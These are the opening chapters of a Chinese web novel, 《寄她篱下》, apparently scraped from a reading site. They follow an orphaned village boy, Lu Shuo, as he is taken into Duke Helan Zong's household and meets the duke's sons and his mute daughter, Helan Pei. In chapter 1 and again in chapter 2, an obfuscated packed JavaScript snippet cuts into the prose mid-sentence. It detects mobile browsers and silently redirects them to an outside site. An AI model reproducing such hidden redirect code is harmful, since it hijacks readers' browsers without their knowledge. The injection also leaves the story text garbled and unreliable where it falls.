《寄她篱下》 1. 第 1 章 春雨如酥,京城街道上的石砖被洗得晶亮,路过的车轮碾过时,石缝里溅起细碎的水花。 宽大的车厢里,身形魁梧挺拔的中年男子撩起车帘往外看了一眼,微微笑了一下:“快到了。” 没了车帘的遮挡,明亮的天光乍然泻入,嘈杂的人声也忽地到了咫尺之间。卢朔一直低垂的脑袋下意识地抬了一下,便看见路旁熙熙攘攘的小贩和行人。 应季的花藤攀着墙头绵延而生,开出团团簇簇的鲜妍花朵,和路人身上的锦缎绣花相映成辉,从他眼前一晃而过。 中年男子放下车帘,车厢里立刻暗昧了几分,他打量着卢朔的神色,伸出手,轻轻抚了抚他的头顶:“莫紧张,我已给家里写过信,家里人都知道你会过来,一定已安排妥当了。” 卢朔又低下头,双手放在膝上,素色的麻衣被他的手指攥得有些发皱。 “多谢国公。”他低声说道。 马车拐入一条安静的长巷,巷子中间站了一个探头探脑的小厮,一瞧见马车的身影,便立刻转身往府邸里跑去,口中叫着:“老爷回来了!” 马车在府邸门口停下,车夫刚打起帘子,还没来得及把伞撑起来,中年男子便已经飞快地钻出了车厢,一个大跨步踩在了地上。 他转过头,见卢朔正一手抓着他那薄薄的包袱,一手扶着厢门,半屈着膝站在门口,便伸手握住了卢朔的胳膊,温和道:“下来吧。” 卢朔抿紧了嘴唇,跳下马车,站在了宣国公的身后。 他脚下的地面以青灰色的平整石砖铺就,整条路干干净净,连砖与砖之间的缝隙都被填得满满当当,不会像外面大街上那样留有空隙,引起马车颠簸。 卢朔垂着头,攥着包袱的手指收得更紧。 他看着自己脚上这双崭新的布鞋,恍惚之间,仿佛又看见了从前那些磨得破破烂烂、连脚趾头都露了出来的草鞋,和他鞋底永远清理不干净的黄褐色泥土。 他每次拿着破草鞋去找娘,娘都会叹一口气,戳着他的脑袋,轻声责骂他不知珍惜。他只摸着头,嘿嘿笑着,并不争辩——确实是他不知珍惜,穿着草鞋跟村里其他小孩上蹿下跳,加上正是长脚丫子的年纪,一双鞋穿不了几个月就得作废。 娘骂完了,便也只能无奈地继续替他做新鞋。有时候做着做着突然开始发呆,他问娘怎么了,娘便又叹一口气,说不知道你爹在军中里过得怎么样,他手指头粗,连穿线都穿不过去,也不知道鞋子破了能不能自己补好。 想到爹娘,卢朔又不禁眼眶微热,喉头似被什么东西堵着,涨得他隐痛。 “卢朔。” 忽听有人喊自己,卢朔猛地抬起头,这才发现,不知什么时候宣国公已经走上了国公府的台阶,站在漆蓝嵌绿的雄阔门檐下,回头看着自己。 卢朔突然意识到了自己在哪儿。 他在宣国公府。 高悬的门匾流光溢彩,一笔一划遒劲雄健,据说是太祖陛下御笔亲题,为犒赏随他出生入死、征战天下的第一代宣国公而作。 门匾之下,镶着铜钉的朱红大门洞开,宣国公负手而立,注视着自己,而他身后,正站着刚刚收到消息,前来迎接的国公府家眷。 卢朔喉头一紧,不敢再走神,立刻抬脚,快步穿过了两侧昂首踞坐的威严石狮,踏上阔而长的五级石阶,小跑到了宣国公身旁。 门檐下站着一堆陌生人,他习惯性地垂眼,随后又想起来应该叫人,便又紧张地抬起了头。 一位约莫三四十岁的妇人站得离宣国公最近,一身雪青色织金云锦袍,眉浅唇淡,瞧着端庄和婉,应是国公夫人无疑。 国公夫人身畔还站着几名少年,想来便是国公在路上提到过的几位公子。 宣国公总共有三个儿子,身量最高、瞧着也最稳重的那位应该就是国公府的长子了,今年十七岁;而矮上一些、面容几乎一模一样的两位,则是双胞而生的次子和三子,今年十三岁。 不过,听说国公家中还有一位小姐,年纪最小,但放眼望去,似乎并没有看到这么一个人。 卢朔匆匆掠了两眼,并不敢去揣测贵人的家事。因没人教他规矩,他只能极力回忆着村里人见到里长时点头哈腰的样子,犹豫着弓下了腰。 不过,他肩膀刚塌下去,宣国公的一只手已经搭了上来,卢朔顿时僵住,不敢再乱动。 “这就是我在信中提到的,救了我一命的卢义士的独子,卢朔。”宣国公拍了拍卢朔的后颈,示意他抬头,“卢朔,这便是我的夫人,还有我家老大、老二、老三。”顿了一下,又道,“还有个小女,生性羞涩不爱出门,之后便会见到的。往后大家便是一家人,不必拘礼。” 卢朔快速地眨着眼,僵硬道:“见、见过夫人,见过各位公子。” “这孩子真是实心眼,都说了不必拘礼,还这么见外。”宣国公夫人笑了笑,看向宣国公,“外面飘雨,何必在门口说话,都快进屋吧。” 宣国公点了点头,负手往里走去。 候立在侧的下人们立刻跟上了各自伺候的主人,在他们头顶撑开伞,随着主人们的步伐,穿过正院和仪门,往后宅走去。 卢朔也被分到了一个小厮。 他有些受宠若惊地看着那小厮为他撑伞,一时间不知该说什么。 被宣国公从老家带回京城,这一路上虽受到颇多照拂,吃穿不愁,但毕竟是随军而行,其他事情还是得亲力亲为,哪有国公府这样的待遇,连伞都有专人给他撑。 许是察觉了卢朔的惊讶,那小厮朝他点了下头,恭敬道:“小的名叫添庆,往后便是小的伺候公子了。” “啊?”卢朔惊得一个踉跄,所幸被小厮及时拉了一把,才不至于大庭广众之下平地摔倒,落了笑话。 公、公子?是说他吗? 他从小在泥巴地里打滚长大,在见到宣国公之前,连乡都没走出去过,哪里担得起这两个字? 而且……国公府竟还专门给他拨了个小厮? 卢朔有些不敢置信。 他以为宣国公说的“一家人”只是客气客气,他甚至觉得能来宣国公府当下人都已经很有福气了,没想到国公大人竟然不是客气,而是来真的? 国公府的几位公子领先几步走在前头,却又频频回头看他,尤其是那对双胞胎,交头接耳嘀嘀咕咕不知道说些什么。 卢朔忍不住攥紧了手,茫然又慌乱地想,这些公子是不是不喜欢自己?也对,国公府这样的人家,岂是他这样微贱的人可以沾染的,国公大人知恩图报,他的儿子们却未必肯接纳自己。 “公子。”添庆在一旁道,“包袱给小的拿吧。” 他看卢朔抓着那包袱不放已经很久了,包袱薄薄的,也不知里面是些什么东西。 “不……不用了,我自己拿吧,多谢你。”卢朔连忙道。 反正包袱也不重,添庆便没再多言。 正院内并无太多繁复装饰,只有一片开阔明净的空地,两侧游廊前各设一块白石花坛,栽种着几株苍翠矮松和叫不出名字的新鲜花草。 卢朔抿着嘴唇,极力忍住自己东张西望的欲望,跟着众人往府邸深处走去。 几位公子依旧在嘈嘈切切说着小话,宣国公和夫人走在最前方,似乎也正说着什么,神色肃然。 人声模糊,春雨淅沥,卢朔垂下眼,又感觉喉头发涨。 “那孩子十二岁了?”宣国公夫人轻声道,“瞧着不太像。” 宣国公道:“是细瘦了点,但确实是十二岁了,他家里光景不好,自然不能和京中养尊处优的儿郎们相比。” 宣国公夫人:“他没其他亲眷了吗?” “有是有,但……”宣国公叹了口气,“没了爹娘,只有叔婶,与其留那孩子在亲戚家中继续过苦日子,我想着还不如由我带回京城,也算没辜负卢忠的托付。” 宣国公名叫贺兰宗,父亲是开国大将,也是大越太祖陛下亲封的第一代宣国公。贺兰宗原本还有个兄长,父亲去世后由兄长袭爵,兄弟二人原本相安无事,直到太祖皇帝驾崩,顺位的穆宗皇帝登基四年便急病而亡,留下太子与贵妃之子为继位斗得头破血流。 按理来说太子继位应是毫无争议的问题,但坏就坏在太子并非皇后亲生,而是无子的皇后从其他妃嫔那儿过继而来。而穆宗皇帝生前宠爱贵妃与贵妃之子,去世前已经在召集亲信大臣商量改立太子之事,只是还没来得及下达诏书,便急病驾崩了。 穆宗皇帝走后,皇后急欲扶太子上位,然而贵妃却掏出一封圣旨,声称这是穆宗皇帝的遗诏,要改立太子。 皇后一党大骂伪诏,贵妃一党则坚称为真,双方争执不下,战局一触即发。 贺兰宗的兄长便是穆宗皇帝的亲信之一,穆宗皇帝改立太子的想法他是知情的。但此前诏书并未公开,死后才得以面世,难免令人怀疑。 贺兰宗问兄长所谓遗诏究竟是真是假,兄长只让他不必多管。可贺兰宗却认为太子就是太子,太子素来勤政,未尝有错,岂可轻易废立。就算是穆宗皇帝活着,他真要改立太子,贺兰宗也定是要劝谏反对一番的,遑论这封遗诏还不知真伪。 至此,兄弟离心,而京中局势越发激荡,贺兰宗便带着小家几口人,搬出了国公府,算是彻底表明了界限。 后来,京中爆发夺位之乱,宫门前血火纷飞,京中百姓闭门不出,唯恐惹祸上身。 这场乱局终以皇后一党胜利而告终,太子成功登基,贵妃一党被清算,连带着贺兰宗的兄长也被夺爵,看在其父是开国元勋的份上,免于死罪,只是一家人被驱逐出京,遣回老家锢居。 宣国公的爵位落到了贺兰宗的头上,贺兰宗重新带着家人搬回了国公府,只是物是人非,令人唏嘘。 过了几年,老家传来消息,兄长郁郁而终,那时新帝已坐稳皇位,摩拳擦掌,打算继承祖父遗风,弥补先父早逝之憾,要大干一番事业。 皇帝将目光投向了北方关外戎狄。 碍于民力,那里是连太祖皇帝都没能完全平定的地方。但经过这么多年休养生息,如今国库充盈,军备完善,若再不施展拳脚,恐怕军队的血性都要消磨殆尽了。 皇帝点了贺兰宗领兵出征。 贺兰宗也是一员悍将,不负皇帝厚望,出关便连下三城,大振军心。只是戎狄也不可小觑,虽然初战落败,但并未慌乱,及时调整战略,加上天气缘故,竟也和贺兰宗打得有来有回。 最艰难也是最重要的一场战役发生在四个月前,那是戎狄占据的最险要的一处关隘,只要攻下了它,后面的压力便能减轻许多,无论是大越还是戎狄,都不敢掉以轻心。 贺兰宗制定了缜密的作战计划,原本一切都在向好推进,万万没想到,天公不作美,下了一场近五十年未遇的大雪。 从中原而来的大越兵马未受过此等苦寒,不如戎狄适应力强,一时间战局扭转,先锋军被戎狄铁蹄冲乱,贺兰宗见势不妙,不再恋战,当即命大军回撤。 他为保留主力,给大部队争取时间,命副将带军回撤,自己负责殿后阻拦追兵。 他果然成功误导了追兵,将追兵引入歧路,可代价却是自己也负伤累累。 好不容易暂时甩脱追兵,贺兰宗与所剩无几的部下躲藏在一处山洞之内,暂避风雪。 他失血过多,眼前一阵阵发黑,却咬牙撑着一口气,不愿就此埋骨异乡。 就在这时,一名小兵自告奋勇,提出与主将交换盔甲和马匹的想法,假扮主将,引离追兵,如此可方便其他人护送主将回营。 那名小兵是这么说的:“小人出身寒微,无甚见识,可也知道,只要打败了这些蛮子,咱们大越边境就又能太平许多年。小人命贱,是死是活恐怕都改变不了什么,但将军不能死,只要将军还活着,咱们就还有希望。” 贺兰宗凝视着他,喘着粗气道:“为何?” 几十万的大军,小兵那么多,他并不知道此人叫什么名字,只是此人恰好分在自己部将麾下,又被分配到了殿后的任务。 这一路上追兵围杀堵截,死了不少人,但这小兵竟还活了下来。 活下来不容易,他又为什么会选择一条必死的路呢?哪怕他此时此刻逃了,贺兰宗也没那个心力去追究他的责任。 小兵用力地咽了下喉咙,答道:“小人亦受了伤,虽伤得不如将军重,但也不知能撑多久。将军为大军争取到了时间,小人也想为将军争取时间,以小人的命换将军的军,值。” 贺兰宗闭了下眼睛,缓缓地吸了一口气,道:“你叫什么名字,想要什么?” 小兵闻言,猛地跪了下来,朝贺兰宗磕了个头,哽咽道:“小人名叫卢忠,是庆阳府安水县人士,家中有一妻一子,小人服役两年未能回家,有愧家小。若此战能胜,希望将军能……能照顾一番家小,至少,他们孤儿寡母的,别让他们过得太辛苦。” 贺兰宗沉默了一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“卢朔那孩子先后没了爹娘,寄住在同村的叔婶家中。可我瞧着叔婶待他并不怎么样,他们自家的孩子只需要做些简单的活计,苦累的活儿却都交给卢朔干,卢朔穿的衣裳明显短了一截,也没人给他找件合身的。” 贺兰宗回忆起自己刚见到卢朔的时候,这孩子才从山上下来,提着豁了口的砍刀,背着一大捆比成人还高的柴禾,脸上黄黄黑黑的,迷茫又警觉地与他对视。 “他那叔婶家想来也拮据,家里突然多了张嘴要吃饭,心里难免有疙瘩。”夫人叹息一声,“你把他接来也好,都没了爹娘了,总不能再在乡野之地受磋磨。” 贺兰宗轻轻吁了口气:“是啊,答应了卢忠要照拂他家小的,没提前打听好他妻子的消息已算是我罪过,总不能再让那孩子继续受委屈。” 夫人道:“你放心吧,我已跟孩子们通过气,不许他们调笑为难他。院子和下人也都备好了,他安心在府上住着便是。” 贺兰宗:“你办事向来妥帖。” 二人说着话,已走到了正堂门口,贺兰宗停下脚步,回首看向卢朔,朝他招了招手。 卢朔局促上前。 贺兰宗温声道:“卢朔,你父亲救我一命,我必视你为亲子,不叫你爹娘在天之灵忧心。以后国公府就是你的家,住着若有不适,尽可以说,家中就我们这些人,没什么大规矩的。” 卢朔闷声道:“多谢国公。” 贺兰宗:“按理来说我得带你熟悉熟悉府中情况,然而我刚回京城,还得进宫面圣,不好耽搁。等会儿我换身干净官袍便得走,府中情况就由我夫人同你详说,可好?” 卢朔一愣,紧攥的手心里沁出了微微的汗。 他当然不想宣国公走。 这是他在府里唯一熟悉的人,宣国公若走了,他一人怎么应付得了府里这么多陌生人? 可宣国公是要去面圣陈报军情的,他又怎敢耽误朝廷的正事? 卢朔只能道好。 贺兰宗拍了拍他的肩,方向一转,走了。 夫人微微垂下头,轻轻摸了摸卢朔的后脑勺,含笑道:“好孩子,赶了这么多天的路,你一定也累了,先坐一坐,我们聊聊天吧。” 卢朔不太适应贵妇人这样温柔可亲地跟他说话,只能讷讷应是。 夫人带着孩子们进了正堂,正堂内雕梁画栋,皆是卢朔生平仅见的精致。堂前悬着一张松鹤山水大画,画前又设一张八宝云蝠紫檀大案,案上摆一座玉雕奔马插屏,地上两排乌木圈椅,国公夫人自是坐在了最上首的一把,三位公子则坐在了同一列下首。 卢朔的呼吸紧了紧,迟疑着坐到了另一列最下首的位子。和对面大喇喇陷坐在圈椅的小公子们不同,他的坐姿相当拘谨,连手都不太敢往椅把手上放,唯恐自己粗糙的手心磨坏了光滑圆润的木料。 穿红着绿的丫鬟们鱼贯而入,给主人们奉上适口的热茶和点心,又安静退下。 国公夫人抿了口茶,一抬眼见卢朔坐在最靠门的地方,不由笑道:“坐那么远干什么?坐过来些,还省得人大声说话。” 卢朔便尴尬地起身,往夫人近前坐去。 他一边坐上新位子,一边悄悄观察了一下对面几位公子的表情。大公子神色依然沉静,没什么特别的反应,陷在圈椅里的二公子和三公子则一边嚼着点心,一边好奇地望着他。 看上去并没有对他有很大的敌意。卢朔一直提着的气终于略略松了下去。 而另一边,贺兰宗刚踏进自个儿院子的大门,便见屋檐下一道小小的身影提着裙子跑了过来,一把扑进了他的怀里。 总角髻,柳色衫,粉雕玉砌的小女孩,不是他的小女儿贺兰佩又能是谁? “我说你这孩子去了哪儿,原来是躲在了这里。”贺兰宗笑着弯下腰,捏了捏小女儿稚嫩丰盈的脸蛋,道,“想爹爹了?” 贺兰佩拉着他的衣袖,重重地点了点头。 贺兰宗嘴角的笑意不由更深,揉了把她的小脑袋,感慨道:“咱们佩儿长得真快,比去年我离家的时候,似乎又高了不少。” 贺兰佩高兴地伸出手,在自己的脑袋和贺兰宗的胸腰处比划了一下。 贺兰宗:“既然想爹爹,怎么刚才不和他们一起去门口接爹爹?” 贺兰佩放下手,眨了下眼睛,并不吭声。 贺兰宗有些无奈地叹了口气:“那孩子的事,你娘已经跟你说过了吧?他爹对你爹有救命之恩,如今又没了娘,不能不管。他以后就住咱们府上,你早晚要习惯他的。不过你且宽心,那孩子也是个闷葫芦,问一句才答一句,老实懂事,不是那种会胡闹的。” 贺兰佩轻轻地咬了下嘴唇。 “好了,爹爹还得进宫面圣,先去换件衣裳,晚些时候再回来。”贺兰宗朝不远处站着的丫鬟抬了下下巴,“你带小姐出去吧。” 丫鬟便上了前来,轻声哄道:“小姐,咱们先走吧,老爷还有正事要做呢。” 贺兰佩这才依依不舍地松开了贺兰宗的衣袖。 2. 第 2 章 正堂里,国公夫人正一边含笑给卢朔介绍着几个儿子,一边不动声色地观察着他。 这孩子不知规矩,却很懂礼貌,每个动作都小心翼翼,像是生怕哪里冒犯了他们。 这样的情态,她只在刚进府里的下人们身上见到过。 可他不是来当下人的,用不着这么谨小慎微。国公府不是吃人的地方,犯不着为难一个孩子,更不必说这孩子的爹还对国公府有恩,往后必是得好好对待的。 国公夫人姓章名宜珠,养大了四个孩子,又常在人情世故中游走,一眼便看出卢朔紧张只是因为他没见过世面,又无亲人可依傍,所以生怕一朝踏错便永不翻身罢了。 对于这种有自知之明的孩子,倘若她一味嘘寒问暖、关怀备至,反而可能令他更加无措,还容易引起自家孩子的不满,因此,只需要以平常心对待,令他自然适应,才是最好的。 思及此,章宜珠笑了笑,对卢朔道:“你今日来得也巧,府上要准备裁新衣了,你和他们几个都是男孩子,正好一并量了。” 十七岁的大公子贺兰振瞧着已像个大人,闻声接话道:“母亲,我缺几件深色的衣裳,今年就不要再给我做白的绿的衣裳了。” 章宜珠挑眉:“这个时节穿浅色才好看,又不是老头,穿那么黑沉沉的做什么?” 贺兰振眼角一抽:“浅色衣裳容易弄脏。” 章宜珠心道,什么容易弄脏,只怕是孩子长大了,不爱穿那些鲜嫩颜色了,想模仿大人气质罢了。真是的,年纪轻轻搞那么老气横秋做什么,等到年纪大了,想穿嫩的还不好意思穿呢。 但她并不揭穿儿子的心思,只道:“行,等会儿你自己挑几件喜欢的料子去。” 又转头问两个双胞儿子:“你们呢?可有什么意见?” 老二贺兰昌摇了摇头,笑嘻嘻地道:“穿什么都可以,只要不跟贺兰荣一样就行。” “我也不要和你穿得一样!”老三贺兰荣哼了一声。 章宜珠只觉得好笑。 这俩人从小都穿得一样,吃得一样,用得一样,要是发现对方和自己不一样,还要哭闹,但不知道从哪一年开始,两个人就跟突然觉醒了自我意识似的,生怕别人混淆他们两个,非要搞得什么都不一样。 “知道了,这种事情不用强调。”章宜珠看向卢朔,“他们裁的是夏装,因不知你的尺寸,也没给你准备春装,等会儿春装夏装一起给你裁了,可好?” 卢朔小声道:“国公在来的路上已给我买过两身新衣裳了。” 他身上这件就是。 章宜珠:“两身可不够穿。”她扫了一眼卢朔身上的麻衣,算了算时间,应该已经过了披麻戴孝的重孝时期,后面虽仍需守孝,但却不用那么严苛,只要素服素食即可。 唉,这小身板,还得吃那么久的素……虽然这事很少有人能遵守,关起门来偷偷吃也没人会管,但现在卢朔的饮食是她在负责,明知人家有孝在身,还堂而皇之地让他吃荤,影响不太好。 罢了,这事先放放,以后再看着办吧。 章宜珠喊了仆妇进来,给几个男孩量体。 章宜珠的丫鬟在一旁悄声提醒:“夫人,去年府里给二公子和三公子裁了几身衣裳,他们不喜欢,如今卢公子缺衣裳,刚好可以拿去应急。都是新的,还没穿过呢。” 章宜珠也低声道:“你也不瞧瞧尺寸合不合适。” 丫鬟:“拿去改改,比现做快。” 章宜珠:“算了,国公府又不是没这个钱,人多嘴杂的,万一被他知道是穿老二老三挑剩下的,恐怕心里会不自在。” 丫鬟便没再多言。 卢朔瞧见二人低声言语,那丫鬟似乎还瞟了自己几眼,也不知在说什么,不由心中忐忑。 他暗暗猜测是不是自己形象不好,不讨国公府的喜欢。 在他离开村庄之前,他并不觉得自己的形象有什么问题,毕竟乡下大把大把像他这样黑瘦的小孩,他甚至都算是精瘦有力的那一种了。 被宣国公接走后,身旁来往的都是征战沙场的黑脸汉子,他只会暗暗羡慕他们的健壮。 直到进了京城,进了宣国公府,看到连府里的小厮都生得白白净净,手上的茧还不如他的多,他才终于意识到了不对。 尤其是和他年岁相近的贺兰昌和贺兰荣,细皮嫩肉,圆头圆脑,乌亮的眼珠炯炯有神,一看就是贵人家才能养出的模样。再长几年,或许就能像他们的兄长贺兰振一样,成为风姿不凡的翩翩小郎君。 和他们相比,他们是天上的太阳月亮,自己就是地上的泥。 再加上仆妇量体时朝他投来的诧异目光,卢朔更加确定,自己这样的形象,恐怕并不符合国公府的喜好。 之所以到现在都没人明说,大抵只是因为他们有教养,又或者提前得了宣国公的指示罢了。 量完体,卢朔垂着头重新回到座位上。 便听章宜珠又吩咐仆妇:“再去给佩儿也量一量。” 仆妇道了声是,告退了。 卢朔听了一耳朵,并未多想,倒是章宜珠,因着提了一句女儿,觉得若是这么一句带过似乎不大妥当,便想了想,对卢朔道:“我方才说的佩儿,便是我的小女儿,名叫贺兰佩,今年十一岁。” 卢朔愣了一下,随即道:“国公同我提过。” 章宜珠轻咳一声:“她今天未出门,并不是不识礼数,只是有些怕生……”顿了顿,似是下定了什么决心,叹了口气道,“罢了,反正以后都是一家人,这个事儿也总是要说的。” 卢朔还没反应过来,便见坐在对面的三位公子同时调整了一下坐姿,原本还有些松怠的表情一下子正经了起来,甚至一瞬间所有人的目光都盯在了他身上。 卢朔敏感地意识到可能要说什么大事了,立刻愈发恭敬。 只听章宜珠道:“我这个女儿……什么都好,唯独有个缺憾,就是她六岁那年发了场高热,后来高热退了,却从此落了遗症……老天无眼,竟叫她小小年纪口不能言……” 宣国公府门庭显赫,往来的人家自然不少。不仅是权贵,甚至连消息灵通些的平民百姓都知晓这件事,只是大家都很识趣,不去触宣国公府的霉头,这还是章宜珠这么多年来第一次主动对外人提起这件伤心事,不由红了眼眶。 卢朔听得怔住了,第一反应是宣国公府这样的人家,家中的孩子还能病成这样?他们村里曾有个得了高热最后烧成傻子的,但那是人家没钱治,若是有钱,区区高热而已,京中的大夫还能治不好? 但他当然知道这话不能说,却又不知如何安慰,只能默然不语。 好在这事已经过去了五年,大家早已接受了现实,章宜珠也不需要人安慰,只短暂地伤情了一下,便又勉强笑道:“因为说不了话,所以她便也不爱出门,不与生人交际,若是之后你遇见了她,她却不理你,你莫往心里去。她其实是个好孩子,熟悉了就好了。” 卢朔连忙道:“我不会随意去打扰小姐的。” 对面的贺兰振忽然插话:“其实说不了话也没什么,只不过有时候需要靠书写沟通,交流起来慢了一点而已。有些人虽然长了一张嘴一个舌头,但却吐不出句人话,还不如不要。” 卢朔一愣。 贺兰昌龇了下牙,咧着嘴道:“大哥,你上次把吴侍郎家的公子揍掉了半颗门牙,后来赔了么?” 贺兰荣:“赔个屁,我听说他现在都不敢见人。” “不许说粗话。”章宜珠拧了下眉,淡淡地呵斥道,“这事儿我还没告诉你们爹,免得他生气。你们也记着点,别说漏了嘴,知道了吗?” 贺兰昌和贺兰荣:“知道了知道了。” 贺兰振喝茶。 章宜珠又转向卢朔:“随意跟人动手是莽夫所为,我之前已教育过他们了,你可千万别好的不学学坏的。” 卢朔攥住了手心,犹豫了一下,撒了进府以来第一个谎:“夫人放心,我从不跟人打架的。” 章宜珠笑了笑。 聊完了女儿,话题又转回正事上。 章宜珠问卢朔:“你以前在家中,都做些什么事?” 卢朔答道:“一般就帮着干些农活,若是活计不多,就去村里其他人家串串门。” 实则是不干活的时候就跟其他小孩在山里地里疯玩。 章宜珠:“可读过什么书?” 卢朔惭愧道:“只是跟着村里的老人学过几个字,但没有读过什么书。” 乡下人嘛,不识字的都大有人在,像他这样认得一些简单字的,已经算是不错的了。他爹长期不在家,他和娘认得一些简单的字,看田地契书什么的也不容易上当受骗。 章宜珠生怕他是谦虚,便又追问了一句:“《三字经》《千字文》这些书也没读过吗?” “……没有。”卢朔有点迷茫地眨了下眼睛,更加惭愧了。 他想,府上公子们肯定是早早就读过了这些书,搞不好连小厮都读过,他却连这些书讲的是什么都不知道,实在是无地自容。 “啊,这样啊……”章宜珠轻轻吐出一口气,面上露出一丝为难之色,却又很快用笑容遮掩过去,“无妨,只要有心向学,什么时候学习都不晚。来了京城,自然是不用你干农活的,但不学习却是万万不行的。你爹娘把你养大不容易,你当然不能让他们失望,对不对?” 卢朔哽了一下,眼眶一热,道:“我……我都听夫人安排。” “早都安排好喽。”贺兰荣插嘴道,“后天你就得跟我们一起回国子监上学去。” “太可怜了。”贺兰昌感叹,“都没在府里住几日,就得被关进监狱去。” 卢朔一呆。 “胡说什么呢?莫要吓唬人家。”章宜珠难得地揉了下额角,跟卢朔解释,“国子监就是个读书上课的地方,和那些县乡的学堂也差不多,只不过人数多一些,上的课复杂一些,管理得也严格一些罢了。平日里学生都住在国子监中,十日才放一次假,他们几个也是因为老爷回京,才特意跟上面请了两天事假回家。” 卢朔瞠目,惶然道:“我……我也要去吗?” 国公府的公子上的学堂,那肯定是京城最好的学堂,他连字都认不全,去那儿听天书吗! 章宜珠安慰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523254|203368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“不要紧的,新生入学,自是从最简单的开始学起。” 贺兰昌和贺兰荣对视一眼,互相挤了挤眼睛。 国子监中的学生自然并不全是权贵子弟,也有一些平民子弟,但这些平民子弟都是聪慧机敏,靠成绩考进去的,哪会有人跟卢朔一样,字都认不全就得进去念书。 更何况国子监又不是幼童蒙学之所,学得再简单,那也是从十三经开始教起,卢朔这样强行加塞进去,上课不睡觉都算他厉害。 贺兰振道:“进了国子监,若遇到什么问题,你就去找贺兰昌和贺兰荣,他们也是去年才入学,对新生诸事较为熟悉。我与你们不在一个堂级,平时不常照面。” 果然是都安排好了,哪有自己拒绝的余地?更何况,自己若是拒绝,岂不是显得太不知好歹? 卢朔低着头道:“多谢夫人,多谢各位公子。” 章宜珠又盯了贺兰昌和贺兰荣两眼,盯得二人不敢再挤眉弄眼,才对三个儿子说道:“说了这么久的话,卢朔还不知道他住哪儿呢。你们几个都是男孩儿,生活起居上应聊得来,且带他去瞧瞧吧。” “是。”贺兰振起身,对卢朔点了点头,“你随我来吧。” 贺兰昌和贺兰荣也纷纷起身。 卢朔跟上他们的脚步,缀在最后头,将要跨过门槛之际,忽听身后的贵妇人又唤了一声:“卢朔。” 卢朔回头。 章宜珠端坐堂前,鬓边玉钗盈盈生光,手中捧着一盏茶,朝他温和一笑:“我知你是个好孩子,但京中的气候和习俗可能与你老家有所不同,你日后若是有什么缺的、不适应的,尽管来同我说,不要藏着掖着。若是这几个小子欺负了你,你也尽管大胆来告状,不必顾忌。” “谁欺负他了!”贺兰荣立刻大呼冤枉,“我要是欺负他,爹不得打死我?说不定是贺兰昌想干坏事,偷偷嫁祸于我!” 贺兰昌翻了个白眼:“有人急了,有人急了。” 卢朔不知所措地看着他们。 贺兰振双手抄在袖子里,淡然道:“别理他们,走吧。” 贺兰昌和贺兰荣推推搡搡地迈步。 卢朔只好匆匆朝章宜珠躬身行了个不知道对不对的礼,然后急忙追着他们出去了。 贺兰振没让小厮跟着,自己撑着伞走在最前头,贺兰昌和贺兰荣也嫌身后人多麻烦,从小厮手里夺了伞,各自转着伞柄,偷偷往对方身上洒水珠。 卢朔见状,咽了咽喉咙,对身旁撑伞的添庆道:“我自己来吧。” 添庆看了一眼前面几位公子,把伞交给了卢朔。 卢朔终于可以单独撑伞,不由松了口气。 贺兰振边走边介绍:“你住在东北角那边,离花园不远,西邻是老三的院子,南边两座是我和老二的院子。你也有个单独的院子,在府里住的时候,离我们几个的院子最近,有事可以直接来找我们。你不用不好意思,既然往后要一起生活,那大家便是兄弟,互相帮衬是应该的。” 卢朔握紧了伞柄:“……多谢。” 除了多谢,他实在不知道还能说些什么。 互相帮衬?只有他们帮他的份,哪有他帮他们的份?卢朔不禁在暗自苦笑一声,心中泛酸。 贺兰荣:“可不是么,那真是铁兄弟,天天都得在一起上课!”顿了一下,又扭过头对卢朔道,“不过你入学太晚了,可能会跟不上,你要有什么不懂的,就来问我们。” 贺兰昌斜睨他一眼:“你好自信,上个月小考,你好像是丙等吧?” 贺兰荣瞪他:“没记错的话,上上个月小考,我是乙等,丙等是你吧?” 贺兰振冷哼一声:“你们两个脸皮厚如城墙,这有何可攀比的?我和你们一样大的时候,成绩从未下过甲等……嗯?” 他忽然抬了下伞面,目光望向斜前方,脸上倏地浮起和煦笑意。 本是要进穿堂的,他却脚步一转,朝不远处的小院走去。 卢朔顺着方向望去,便见朦胧雨幕中,几枝褐绿藤蔓爬过垂花门,门洞之后,一个小小的人影正安静地站在水光润泽的廊瓦之下。 卢朔听见贺兰振带着笑意的声音:“佩儿怎么在这里站着?方才娘让人来给你量体,要裁夏天的新衣裳,可量好了么?” 卢朔愣愣地看着那个人影。 一对尖尖的总角髻,以豆绿色的丝绦作结,尾端垂坠珍珠,缀在颈侧,令卢朔想起竹箕里新剥的莲子。嫩绿色的春衫笼在她身上,像河边新生的柳芽,风一吹,便成了流动的鲜意。 ——原来那就是国公府的四小姐,贺兰佩。 她睁着一双乌亮亮的眼睛,朝贺兰振点了点头。 贺兰昌和贺兰荣也朝她走去。 卢朔忽地猛吸了一口气,这才惊觉,他方才竟无意识地屏息了好一会儿。 兄妹几个站在廊下说话,卢朔不知自己该不该上前,便站在原地纠结着。 还没等他纠结完,便见贺兰佩的脸微微转了过来。 细雨霏霏,如烟似雾,他与她默然对望。 然后,他看见她轻轻眨动了一下眼睛,冲自己莞尔一笑。 3. 第 3 章 “那个就是卢朔,我们现在带他去看住处,你要一起么?”贺兰振低头问妹妹。 贺兰佩的目光从站在雨中的卢朔身上收回,看向贺兰振,轻轻摇了摇头。 贺兰昌道:“厨房做了新的点心,我们刚才已经吃过了,还挺好吃的,你让紫苏去拿一下吧。” 紫苏是贺兰佩的丫鬟,站在一旁笑道:“方才厨房已让人送过来了。” 贺兰昌:“吃了吗?” 紫苏:“小姐刚刚看完老爷回来,还没吃呢。” 贺兰荣:“爹进宫去了,今天晚饭肯定得推迟,你下午多吃几个垫垫肚子。” 贺兰佩点点头。 贺兰振:“那我们就先走了?” 贺兰佩又点点头。 